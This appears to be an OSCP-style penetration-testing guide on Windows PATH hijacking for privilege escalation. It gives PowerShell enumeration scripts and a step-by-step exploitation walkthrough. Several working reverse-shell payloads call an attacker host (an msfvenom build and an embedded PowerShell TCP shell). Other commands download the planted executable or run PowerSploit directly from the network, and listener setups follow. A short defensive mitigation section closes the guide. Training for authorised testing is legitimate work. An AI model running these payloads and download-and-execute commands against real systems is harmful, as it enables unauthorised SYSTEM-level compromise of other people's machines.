Domain 4PrivEsc & Password AttacksCORE

Environment Variable PATH Hijacking

Guide to exploiting writable directories in the Windows PATH environment variable to hijack executable execution for privilege escalation.

Domain: Domain 4: Privilege Escalation & Password Attacks•Updated: 2026-09-01
#path#environment-variables#hijacking#windows#executable-search

Environment Variable PATH Hijacking

Overview

The Windows PATH environment variable is one of the most commonly misconfigured attack surfaces for privilege escalation. When a program or script calls an executable by its short name (e.g., python.exe, npm.exe, curl.exe) instead of a fully qualified path (e.g., C:\Python39\python.exe), Windows searches through every directory listed in the PATH variable in order until it finds a match. If an attacker can write to any of those directories, they can place a malicious executable with the same name and intercept the execution — potentially running as a higher-privileged user or even SYSTEM.

This technique is especially powerful because:

  • It requires no special privileges beyond write access to a PATH directory
  • It works silently — no service restart or user interaction needed
  • The payload executes in the security context of the calling process
  • It is frequently overlooked during system hardening

How the PATH Environment Variable Works

The Search Mechanism

When you type a command at the command prompt (or when a script/service calls an executable by short name), Windows performs the following search:

  1. Current directory (.) — checked first in cmd.exe (but NOT in PowerShell by default)
  2. Directories in the PATH variable — checked left-to-right in order
  3. App Paths registry key — HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths
  4. Known Windows directories — System32, SysWOW64, etc.

The first match wins. This means a malicious executable placed in a PATH directory that appears earlier in the search order will be executed instead of the legitimate one.

PATH vs DLL Search Order

While related, PATH hijacking and DLL search order are distinct mechanisms:

Aspect PATH Search (Executables) DLL Search Order
Target .exe, .bat, .cmd, .com, .vbs, .ps1 .dll files
Trigger Command called by short name Application loads a DLL
Search starts Current dir, then PATH dirs Application directory first
PATH position Direct search order Last resort (position 7)
Mitigation Remove writable dirs from PATH Safe DLL Search Mode
Overlap Both use PATH as a search source DLL search uses PATH as fallback

Key overlap: Both mechanisms ultimately consult the PATH variable. For DLLs, PATH is the 7th (last) location checked. For executables, PATH is the primary search mechanism after the current directory. This means a writable PATH directory is dangerous for both executable hijacking and DLL hijacking.

System PATH vs User PATH

Windows maintains two separate PATH variables:

Type Registry Location Scope
System PATH HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment\PATH Applies to ALL users and system processes
User PATH HKCU\Environment\PATH Applies only to the current user’s session

The effective PATH for any process is the concatenation of System PATH + User PATH (System PATH first, then User PATH).

# View the effective PATH for the current session
echo $env:PATH

# View System PATH from registry
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /v PATH

# View User PATH from registry
reg query "HKCU\Environment" /v PATH

Why this matters for exploitation: If you can write to a directory in the System PATH, your payload can be executed by ANY process on the system — including services running as SYSTEM. User PATH directories are less impactful but still valuable for escalating within a user context.


Full Enumeration

This is the most reliable method and works on any Windows system without external tools:

# ============================================
# PATH Hijack Enumeration Script
# ============================================

# Step 1: Get the PATH variable and split into individual directories
# The PATH uses semicolons as delimiters
$paths = $env:PATH -split ';'

Write-Host "[*] Checking $($paths.Count) directories in PATH..." -ForegroundColor Yellow
Write-Host ""

# Step 2: Loop through each directory
foreach ($dir in $paths) {
    # Trim whitespace from the directory path
    $dir = $dir.Trim()

    # Skip empty entries
    if ($dir -eq "") { continue }

    # Step 3: Check if the directory exists
    # Some PATH entries may be stale or invalid
    if (Test-Path $dir -PathType Container) {
        # Step 4: Get the ACL (Access Control List) for this directory
        $acl = Get-Acl $dir

        # Step 5: Check each ACE (Access Control Entry) for dangerous permissions
        foreach ($rule in $acl.Access) {
            # Look for identities that a low-priv user might belong to
            $identity = $rule.IdentityReference.ToString()

            # Check if the identity is a low-priv group
            $isLowPriv = $false
            if ($identity -like "*Users*" -or
                $identity -like "*Everyone*" -or
                $identity -like "*BUILTIN\Users*" -or
                $identity -like "*Authenticated Users*") {
                $isLowPriv = $true
            }

            # Step 6: Check if the permission includes write access
            $rights = $rule.FileSystemRights.ToString()
            $isWritable = $false
            if ($rights -like "*Write*" -or
                $rights -like "*Modify*" -or
                $rights -like "*FullControl*" -or
                $rights -like "*CreateFiles*") {
                $isWritable = $true
            }

            # Step 7: If both conditions met, this is a hijack opportunity
            if ($isLowPriv -and $isWritable) {
                Write-Host "[+] HIJACKABLE PATH DIRECTORY FOUND!" -ForegroundColor Red
                Write-Host "    Path       : $dir" -ForegroundColor Red
                Write-Host "    Identity   : $identity" -ForegroundColor Red
                Write-Host "    Rights     : $rights" -ForegroundColor Red
                Write-Host "    Inherited  : $($rule.IsInherited)" -ForegroundColor Red
                Write-Host ""
            }
        }
    } else {
        Write-Host "[-] Does not exist: $dir" -ForegroundColor DarkGray
    }
}

Expected output when a vulnerability is found:

[*] Checking 42 directories in PATH...

[-] Does not exist: C:\NonExistent\Path
[+] HIJACKABLE PATH DIRECTORY FOUND!
    Path       : C:\Program Files\SomeApp\bin
    Identity   : NT AUTHORITY\INTERACTIVE
    Rights     : Modify, Synchronize
    Inherited  : False

[+] HIJACKABLE PATH DIRECTORY FOUND!
    Path       : C:\Tools
    Identity   : BUILTIN\Users
    Rights     : Write, AppendData, ReadControl
    Inherited  : True

Method 2: PowerUp’s Find-PathHijack

# Download and load PowerUp
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Privesc/PowerUp.ps1')

# Run the PATH hijack check
Find-PathHijack

Output format:

Path      : C:\Program Files\SomeApp\bin
Identity  : NT AUTHORITY\INTERACTIVE
Rights    : {Modify, Synchronize}
Inherited : False

Method 3: Quick One-Liner

$env:PATH -split ';' | ForEach-Object { $d = $_.Trim(); if (Test-Path $d) { $a = (Get-Acl $d).Access | Where-Object { ($_.IdentityReference -like '*Users*' -or $_.IdentityReference -like '*Everyone*') -and ($_.FileSystemRights -match 'Write|Modify|FullControl') }; if ($a) { Write-Host "[+] $d - $($_.IdentityReference)" } } }

Identifying Commonly Called Executables

Finding a writable PATH directory is only half the battle. You also need to know which executable to create. The target executable must be one that is actually called (by short name) by a process running under a higher-privileged context.

Method 1: Process Monitor (ProcMon) — Most Reliable

ProcMon is the gold standard for identifying executable calls:

1. Download ProcMon from Sysinternals
2. Upload to target and run as your current user
3. Set filter: Operation is "CreateProcess" OR "StartProcess"
4. Look for processes calling executables by short name
5. Note the BaseName field — this is the executable name being searched

Key ProcMon events to watch for:

  • CreateProcess — a new process is being spawned
  • StartProcess — legacy process creation
  • Look at the CommandLine column to see if the call uses a short name vs full path

Method 2: Review Scheduled Tasks

# List all scheduled tasks and their actions
Get-ScheduledTask | ForEach-Object {
    $task = $_
    $details = Get-ScheduledTask -TaskName $task.TaskName -TaskPath $task.TaskPath
    $principal = $details.Principal
    $actions = $details.Actions

    # Check if task runs as SYSTEM or a privileged account
    if ($principal.RunLevel -eq "Highest" -or $principal.UserId -like "*SYSTEM*" -or $principal.UserId -like "*Administrator*") {
        foreach ($action in $actions) {
            # Check if the executable is called by short name (no path)
            $exe = [System.IO.Path]::GetFileName($action.Execute)
            if ($action.Execute -notlike "C:\*" -and $action.Execute -notlike "*:*") {
                Write-Host "[+] Task '$($task.TaskName)' calls short-name exe: $($action.Execute)" -ForegroundColor Yellow
                Write-Host "    Runs as: $($principal.UserId)" -ForegroundColor Yellow
            }
        }
    }
}

Method 3: Review Services

# Check services that might call executables by short name
Get-CimInstance -ClassName Win32_Service | Where-Object {
    $_.PathName -and $_.StartName -like "*SYSTEM*"
} | ForEach-Object {
    # Look for service descriptions or dependencies that hint at tool usage
    Write-Host "Service: $($_.Name)"
    Write-Host "  Path: $($_.PathName)"
    Write-Host "  Account: $($_.StartName)"
    Write-Host ""
}

Method 4: Common Executable Names to Target

Based on OSCP box experience, these are the most frequently hijacked executables:

Executable Why It’s Called Typical Context
python.exe / python3.exe Python scripts Dev environments, automation
perl.exe Perl scripts Legacy systems
npm.exe / node.exe Node.js projects Web dev environments
curl.exe Download scripts Installers, update scripts
wget.exe Download scripts Installers
ruby.exe Ruby scripts Dev environments
php.exe PHP scripts Web backends
java.exe Java applications Enterprise apps
git.exe Git operations Dev environments
docker.exe Container management DevOps environments
kubectl.exe Kubernetes management Cloud environments
ansible.exe Configuration management DevOps
terraform.exe Infrastructure as code DevOps
pwsh.exe / powershell.exe PowerShell scripts Automation
cmd.exe Batch scripts Legacy automation
ssh.exe SSH connections Remote management
scp.exe File transfers Remote management

Full Exploitation Walkthrough

Scenario: Writable PATH Directory + Scheduled Task

Setup: A scheduled task runs every hour as SYSTEM, calling python.exe C:\Scripts\backup.py. The directory C:\Tools is in the PATH and writable by your user.

Step 1: Confirm the Writable PATH Directory

# Verify write access
echo "test" > C:\Tools\test.txt
type C:\Tools\test.txt
del C:\Tools\test.txt

Step 2: Create the Malicious Executable

On your attack machine:

# Using msfvenom (Kali/Linux)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4443 -f exe -o python.exe

# OR using a simpler reverse shell (no Metasploit needed)
# Using Go:
# go build -o python.exe reverse_shell.go

# OR using C# with Visual Studio / dotnet CLI
# csc /target:library reverse.cs

Alternative: Create a PowerShell-based executable

# Create a simple reverse shell script and compile to exe
# On the target, create python.exe that launches a reverse shell:

# Method: Use a small C# program
$source = @'
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Text;
using System.IO;

namespace ReverseShell {
    class Program {
        static void Main(string[] args) {
            try {
                // Reverse shell to attacker
                Process.Start("cmd.exe", "/c powershell -nop -c `\"`$c=New-Object Net.Sockets.TCPClient('10.10.14.5',4443);`$s=`$c.GetStream();[byte[]]`$b=0..65535|%{0};while((`$i=`$s.Read(`$b, 0, `$b.Length)) -ne 0){`$d=(New-Object Text.ASCIIEncoding).GetString(`$b,0,`$i);`$p=(New-Object Data.ProcessStartInfo -Property @{FileName='cmd.exe';RedirectStandardOutput=`$true}).BeginInvoke();Start-Sleep 1}`"");
            } catch { }
        }
    }
}
'@

# Compile with: csc /out:python.exe /target:exe source.cs

Step 3: Upload the Malicious Executable

# From attacker machine, upload to target
# Method 1: HTTP server
# On attacker: python3 -m http.server 80
# On target:
Invoke-WebRequest -Uri "http://10.10.14.5/python.exe" -OutFile "C:\Tools\python.exe"

# Method 2: PowerShell download
(New-Object Net.WebClient).DownloadFile("http://10.10.14.5/python.exe", "C:\Tools\python.exe")

# Method 3: Base64 encode and decode
# On attacker: certutil -encode python.exe python.b64
# On target: certutil -decode python.b64 python.exe

Step 4: Set Up Your Listener

# On attacker machine
# Method 1: Metasploit handler
msfconsole
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.14.5
set LPORT 4443
run

# Method 2: Simple netcat
nc -lvnp 4443

# Method 3: Socat (more reliable for Windows)
socat TCP-LISTEN:4443,reuseaddr,fork EXEC:"/bin/bash"

Step 5: Wait for Execution

The payload will execute when:

  • The scheduled task runs (wait up to the next trigger)
  • A user manually runs python from a command prompt
  • A service or script calls python.exe

If you can force the task:

schtasks /run /tn "BackupTask"

Scenario 2: Web Server Verification

Instead of a reverse shell, you can verify execution with a simpler approach:

# Create a simple exe that makes an HTTP request back to your server
# This confirms execution without needing a full reverse shell

# On attacker, set up a simple HTTP server to log requests
python3 -c "from http.server import HTTPServer, BaseHTTPRequestHandler; print('Listening...'); HTTPServer(('0.0.0.0', 8080), BaseHTTPRequestHandler).serve_forever()"

# Create an exe that calls: curl http://10.10.14.5:8080/trigger
# When you see the request, you know the hijack worked

Commonly Found Writable PATH Directories in OSCP Boxes

Based on real OSCP exam experience, these are the most common writable PATH directories:

Directory Why It’s Writable Risk Level
C:\Program Files\SomeApp\bin Poor installer permissions HIGH
C:\Tools Created by admin, open permissions HIGH
C:\Scripts Script storage, often writable HIGH
C:\Utils Utility binaries, inherited perms MEDIUM
C:\Program Files\Common Files\... Shared component directory MEDIUM
C:\Users\Public\Documents Public folder, sometimes in PATH MEDIUM
C:\Temp or C:\tmp Temp directory added to PATH HIGH
C:\Windows\Temp Windows temp, sometimes in PATH MEDIUM
Custom dev directories (e.g., C:\Dev\bin) Developer setup HIGH

PATH vs DLL Search Order: Deep Comparison

graph TB
    subgraph Executable_Search["Executable Search (PATH Hijack)"]
        A1["1. Current Directory"] --> A2["2. PATH Directories (left to right)"]
        A2 --> A3["3. App Paths Registry"]
        A3 --> A4["4. Windows Known Dirs"]
    end

    subgraph DLL_Search["DLL Search Order"]
        B1["1. Application Directory"] --> B2["2. System Directory"]
        B2 --> B3["3. 16-bit System Dir"]
        B3 --> B4["4. Windows Directory"]
        B4 --> B5["5. Current Directory"]
        B5 --> B6["6. PATH Directories"]
    end

    A2 -.->|"Both use PATH"| B6

Critical differences:

  1. Search priority: For executables, PATH is checked early (position 2). For DLLs, PATH is checked last (position 6).
  2. Mitigation overlap: Disabling Safe DLL Search Mode affects DLL loading but NOT executable PATH search.
  3. Exploitation strategy: A writable PATH directory is MORE dangerous for executable hijacking than DLL hijacking because it’s checked earlier in the executable search order.

PATH Hijack Checklist

PATH HIJACK ENUMERATION CHECKLIST
==================================

[ ] 1. Run 'echo $env:PATH' to view current PATH
[ ] 2. Check each directory for write access using the PowerShell script above
[ ] 3. Run 'Find-PathHijack' from PowerUp for automated check
[ ] 4. Check both System PATH and User PATH in registry
[ ] 5. Identify which executables are called by short name:
       [ ] Check scheduled tasks (schtasks /query /fo LIST /v)
       [ ] Check service configurations
       [ ] Use ProcMon to monitor CreateProcess events
       [ ] Review startup scripts and batch files
[ ] 6. Prioritize targets where:
       [ ] The calling process runs as SYSTEM/Administrator
       [ ] The executable is called frequently (scheduled tasks)
       [ ] The writable PATH directory appears early in the search order
[ ] 7. Create malicious executable matching the target name
[ ] 8. Upload to writable PATH directory
[ ] 9. Set up listener and wait for execution
[ ] 10. Verify execution (check logs, listener, or force trigger)

OSCP Exam Tips

Priority Level: HIGH

PATH hijacking is a frequently tested technique on the OSCP exam. It appears in multiple Pro Labs and several standard boxes.

Key Exam Strategies

  1. Always check PATH early: Run the PowerShell enumeration script within your first 5 minutes of a Windows box. It takes 30 seconds and can yield an immediate privesc vector.

  2. Look for the C:\Tools pattern: Many OSCP boxes have a C:\Tools or similar directory in the PATH with overly permissive ACLs. This is a classic OSCP pattern.

  3. Check scheduled tasks for short-name calls: After finding a writable PATH directory, immediately check schtasks /query /fo LIST /v for tasks that call executables by short name.

  4. Don’t forget User PATH: Some boxes have the vulnerability in the User PATH rather than System PATH. Check both.

  5. Combine with service enumeration: If you find a service that calls a tool by short name, and that tool’s directory is in a writable PATH entry, you have a direct path to SYSTEM.

  6. Time your payload: If the scheduled task runs every hour, you might need to wait. Consider if there’s a way to force execution or if another vector is faster.

  7. Always have a backup plan: PATH hijacking requires waiting for execution. Have another vector ready in case the scheduled task doesn’t trigger soon enough.

Common Pitfalls

  • Creating the wrong executable name: Double-check the exact name (including extension) of the executable being called. python.exe is different from python3.exe.
  • Architecture mismatch: If the calling process is 32-bit, your payload should be 32-bit. If 64-bit, use 64-bit.
  • Antivirus interference: Some boxes have AV that will block your uploaded executable. Have multiple payload variants ready.
  • PATH order matters: If the legitimate executable exists in a PATH directory that appears BEFORE your writable directory, your payload won’t be found first.

Realistic Exam Scenario

Box: Windows Server 2019
Initial Access: User 'jdoe' via SSH
Privilege: Standard User

Enumeration:
  $env:PATH shows: C:\Windows\system32;C:\Windows;C:\Tools;C:\Python39

  Find-PathHijack reveals:
    Path: C:\Tools
    Identity: BUILTIN\Users
    Rights: Modify, Synchronize

  schtasks /query /fo LIST /v reveals:
    TaskName: PythonBackup
    Run: SYSTEM
    Action: python.exe C:\Scripts\backup.py
    Schedule: HOURLY

Exploitation:
  1. Create python.exe reverse shell (64-bit)
  2. Upload to C:\Tools\python.exe
  3. Set up listener on port 4443
  4. Wait for scheduled task (or force with schtasks /run /tn PythonBackup)
  5. Receive SYSTEM shell

Mitigation for Blue Team

  1. Audit PATH directories regularly: Remove any writable directories from the PATH variable.
  2. Use full paths in scripts: Always reference executables with their full path (e.g., C:\Python39\python.exe instead of python.exe).
  3. Restrict PATH directory permissions: Ensure all PATH directories have restrictive ACLs (SYSTEM and Administrators only).
  4. Implement AppLocker or WDAC: Prevent unauthorized executables from running regardless of PATH.
  5. Monitor CreateProcess events: Use Sysmon to log all process creation and alert on unexpected executables.